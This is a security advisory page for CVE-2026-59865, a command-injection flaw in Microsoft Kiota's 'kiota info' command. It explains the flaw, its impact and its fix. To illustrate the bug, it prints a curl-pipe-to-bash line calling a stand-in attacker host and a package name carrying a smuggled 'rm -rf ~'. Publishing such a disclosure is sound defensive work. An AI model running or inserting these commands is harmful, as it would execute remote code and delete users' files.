🛡️ CVE-2026-59865 — microsoft.openapi.kiota

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-829 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by kiota info

Summary

kiota info — the command developers run to learn which packages to install after generating a client —

read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied

dependencyInstallCommand (and dependency name/version) **as the tool's own recommended install

command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised

description:

```

$ kiota info -d <attacker-spec> -l CSharp

...

Hint: use the install command to install the dependencies.

Example:

curl -s https://attacker.example/x.sh | bash # attacker-controlled

```

A developer who followed kiota's explicit instruction (run the suggested install command) executed

attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the

Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string

directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the

install-command example, and dependencies[].name/version were shown verbatim in the package table:

```

# spec

x-ms-kiota-info:

languagesInformation:

CSharp:

dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"

dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

```

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g.

dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it.

kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in

dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed

kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI

host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output,

could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the

recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied

dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or

presents a description-provided install command and only surfaces kiota's own built-in, package-manager

templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-59865 is classified as CWE-829: Inclusion of Functionality from Untrusted Control Sphere. Code is loaded from a source outside the product's control, so that source can change what runs.

Affected software

CVE-2026-59865 is recorded against 3 packages.

  • microsoft.openapi.kiota (fixed in 1.32.5)
  • microsoft.openapi.kiota.builder (fixed in 1.32.5)
  • unknown

Timeline and source

Published on 24 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-829
Public Exploit ✅ No
Source NVD
Published 2026-07-24
Updated 2026-08-12
Modified 2026-07-24
Fix URL N/A

Affected Packages

Software From version Fixed in
microsoft.openapi.kiota 1.32.5
microsoft.openapi.kiota.builder 1.32.5
unknown

Similar Threats

Exploit Protection

Are you running microsoft.openapi.kiota?

CVE-2026-59865 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-59865 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026